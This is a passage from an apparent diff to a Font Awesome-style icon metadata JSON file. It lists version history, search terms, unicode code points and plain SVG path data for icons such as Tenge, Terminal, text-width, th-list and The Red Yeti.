"width": 512, + "height": 512, + "path": "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" + } + }, + "free": [ + "solid" + ] + }, + "tencent-weibo": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d5", + "label": "Tencent Weibo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861024, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z" + } + }, + "free": [ + "brands" + ] + }, + "tenge": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "kazakhstan", + "money", + "price" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7d7", + "label": "Tenge", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635750, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z" + } + }, + "free": [ + "solid" + ] + }, + "terminal": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "code", + "command", + "console", + "development", + "prompt" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f120", + "label": "Terminal", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635750, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "text-height": { + "changes": [ + "1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f034", + "label": "text-height", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635751, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z" + } + }, + "free": [ + "solid" + ] + }, + "text-width": { + "changes": [ + "1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f035", + "label": "Text Width", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635751, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z" + } + }, + "free": [ + "solid" + ] + }, + "th": { + "changes": [ + "1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blocks", + "boxes", + "grid", + "squares" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f00a", + "label": "th", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635752, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "th-large": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blocks", + "boxes", + "grid", + "squares" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f009", + "label": "th-large", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635752, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z" + } + }, + "free": [ + "solid" + ] + }, + "th-list": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "ol", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f00b", + "label": "th-list", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635752, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z" + } + }, + "free": [ + "solid" + ] + }, + "the-red-yeti": { + "changes": [ + "5.3.0", + "5.7.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f69d", + "label": "The Red Yeti", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775921, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 